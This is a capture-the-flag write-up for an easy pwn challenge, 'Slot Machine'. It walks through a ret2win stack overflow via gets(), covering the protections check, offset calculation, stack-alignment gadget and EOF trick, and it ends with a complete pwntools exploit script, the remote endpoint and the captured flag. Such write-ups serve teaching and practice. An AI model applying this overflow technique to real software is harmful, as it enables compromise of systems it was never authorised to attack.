Challenge: Slot Machine · CTF: DalCTF 2026 · Category: Pwning · Difficulty: Easy

  • Connection: nc instancer.dalctf2026.com 24698
  • Description: Yay Dal just installed a slot machine for all students! Maybe I can pay my tuition if I hit big!

TL;DR: A textbook ret2win. The program uses gets() into a 32-byte stack buffer (classic unbounded read), there’s no stack canary and no PIE, and a jackpot() function literally reads and prints flag.txt. We smash the saved return address to redirect execution into jackpot(). The only twist is that the menu loop never returns on its own — so we close stdin to force an EOF, which breaks the loop and triggers the corrupted return.


Recon

We’re given two files: the binary slot_machine and its source slot_machine.c. Always start by understanding the program’s behavior and its protections.

Checksec

1
2
3
4
5
6
7
8
$ checksec --file=slot_machine
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
Stripped:   No

This is a dream scenario for an attacker:

ProtectionStatusWhy it matters
Stack canary❌ DisabledWe can overflow the saved return address without tripping a guard value.
PIE❌ Disabled (base 0x400000)Function addresses are fixed and known — no leak required.
NX⚠️ Stack executableShellcode would even be possible, but we won’t need it.

No canary + no PIE means: if we find a stack overflow, we can jump straight to any function we want at a hardcoded address.

Reading the source

The interesting parts of slot_machine.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int coins = 1;

void jackpot() {
    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        puts("flag.txt not found");
        exit(1);
    }
    char flag[64];
    fgets(flag, sizeof(flag), f);
    fclose(f);
    puts("JACKPOT! How could that happen?");
    printf("Flag: %s\n", flag);
}

jackpot() is our win function — it reads the flag and prints it. Notice that nothing in the normal game flow ever calls it. The slot machine is rigged: roll() deliberately picks three distinct symbols every time (do { b = rand()... } while (b == a)), so you can never win legitimately. The intended path is to corrupt control flow and call jackpot() ourselves.

Now the vulnerability, in game_loop():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void game_loop() {
    char cmd[32];

    while (1) {
        printf("\nCoins: %d\n> ", coins);
        fflush(stdout);

        if (!gets(cmd)) break;        // <--- VULNERABILITY

        if (strcmp(cmd, "roll") == 0) {
            roll();
        } else if (strcmp(cmd, "coins") == 0) {
            ...
        } else if (strcmp(cmd, "exit") == 0) {
            puts("Thanks for playing. Goodbye!");
            return;
        } else {
            printf("Unknown command: '%s'\n", cmd);
            ...
        }
    }
}

cmd is a 32-byte stack buffer, and the program reads into it with gets(). gets() reads an entire line of input with no length limit — it will happily write past the end of cmd, over the saved RBP, and over the saved return address. This is the most classic stack overflow primitive there is. (Modern compilers even warn about it; gets() was removed from the C11 standard for exactly this reason.)


Building the exploit

Step 1 — Find the win address

The binary isn’t stripped, so we can just look the symbol up:

1
2
$ nm slot_machine | grep jackpot
0000000000401206 T jackpot

jackpot() lives at 0x401206, and because PIE is disabled this address is valid at runtime.

Step 2 — Find the offset to the return address

Let’s look at the prologue of game_loop() to see where cmd sits relative to the saved frame:

1
2
3
4
5
6
$ objdump -d -M intel slot_machine | grep -A20 '<game_loop>:'
  4015ef: push   rbp
  4015f0: mov    rbp,rsp
  ...
  401622: lea    rax,[rbp-0x20]      ; &cmd
  40162e: call   4010b0 <gets@plt>   ; gets(cmd)

cmd is at rbp-0x20, i.e. 32 bytes below the saved RBP. The standard x86-64 stack frame looks like this:

1
2
3
4
5
6
7
8
9
        higher addresses
   +------------------------+
   |  saved return address  |  <- rbp + 0x08   (what we want to overwrite)
   +------------------------+
   |  saved RBP             |  <- rbp + 0x00
   +------------------------+
   |   ... cmd buffer ...   |  <- rbp - 0x20   (gets writes here, upward)
   +------------------------+
        lower addresses

So the distance from the start of cmd to the saved return address is:

1
0x20 (buffer)  +  8 (saved RBP)  =  40 bytes

Our payload is therefore 40 filler bytes, followed by the address we want to return to.

Step 3 — Stack alignment (the ret gadget)

There’s one subtlety that bites a lot of people on modern glibc. jackpot() calls printf(), and printf internally uses SSE instructions like movaps that require the stack to be 16-byte aligned. If the stack is misaligned when we land, the program crashes with a SIGSEGV inside libc instead of printing the flag.

To fix the alignment, we prepend a single bare ret gadget before the jackpot address. The extra ret consumes 8 bytes and shifts the stack alignment back into place before execution reaches jackpot.

Find one:

1
2
$ ROPgadget --binary slot_machine --re '^ret$'
0x000000000040101a : ret

Our final payload layout:

1
2
3
b'A' * 40        # padding to reach the saved return address
+ p64(0x40101a)  # ret  -> realign the stack to 16 bytes
+ p64(0x401206)  # jackpot()

Step 4 — The twist: forcing the loop to return

Here’s the catch that makes this challenge slightly more than a copy-paste ret2win.

The overflow happens inside game_loop(), but the saved return address is only used when game_loop() actually returns. The function is an infinite while (1) loop — after our overflowing input is processed, it just prints Unknown command and loops back to call gets() again. If we send another line, gets() overwrites cmd again and our corrupted return address… is still there, but we still never leave the loop.

So how do we make it return? Look at the loop condition:

1
if (!gets(cmd)) break;

gets() returns NULL on EOF. When that happens, the loop breaks, game_loop() runs its epilogue (leave; ret), and that ret uses our corrupted saved return address.

Critically, when gets() hits EOF on an empty read it returns NULL without modifying the buffer, so our overwritten return address stays intact.

The plan:

  1. Send the overflow payload as one line. This corrupts the saved return address. The loop prints Unknown command and goes around again.
  2. Close our side of the connection (send EOF). The next gets() call returns NULL, the loop breaks, and game_loop() returns straight into our retjackpot().

In pwntools that’s p.shutdown('send') after sending the payload.


The exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
exe = './slot_machine'

JACKPOT = 0x401206   # win function: reads & prints flag.txt
RET     = 0x40101a   # bare 'ret' gadget for 16-byte stack alignment

# cmd[32] is at rbp-0x20; saved RBP is 8 bytes -> 40 bytes to the return address
offset  = 40
payload = b'A' * offset + p64(RET) + p64(JACKPOT)

if args.REMOTE:
    p = remote('instancer.dalctf2026.com', 24698)
else:
    p = process(exe)

p.recvuntil(b'> ')
p.sendline(payload)   # overflow the saved return address
p.shutdown('send')    # next gets() hits EOF -> loop breaks -> ret into jackpot()

data = p.recvall(timeout=5)
print(data.decode(errors='replace'))

Run it (test locally with a dummy flag.txt first, then fire at the remote):

1
2
3
$ echo 'flag{local_test}' > flag.txt
$ python3 solving.py            # local
$ python3 solving.py REMOTE     # remote

Output:

1
2
3
4
5
6
Unknown command: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'
Type 'help' to see available commands.

Coins: 1
> JACKPOT! How could that happen?
Flag: dalctf{u_0n3_0f_th053_0ld_dud3s_add1ct3d_t0_sl0t_m4ch1n35}

The Unknown command line is our overflow input being processed by the loop, and once we close stdin the loop breaks and jumps into jackpot(). Jackpot indeed.


Flag

1
dalctf{u_0n3_0f_th053_0ld_dud3s_add1ct3d_t0_sl0t_m4ch1n35}

Takeaways

  • gets() is never safe. A single unbounded read is the entire vulnerability here. If you see gets() in a pwn challenge, it’s almost always the way in.
  • No canary + no PIE = ret2win. When function addresses are fixed and there’s no stack guard, overwriting the saved return address with a “win” function is the simplest possible exploit.
  • Mind the alignment. Modern glibc’s printf/puts use movaps, which needs a 16-byte-aligned stack. A spare ret gadget is the standard one-liner fix when your ret2win crashes inside libc.
  • Control flow ≠ overflow. The overflow only pays off when the vulnerable function actually returns. Recognizing that an EOF breaks the menu loop (and that gets() leaves the buffer untouched on EOF) is what turns the overwrite into a working exploit.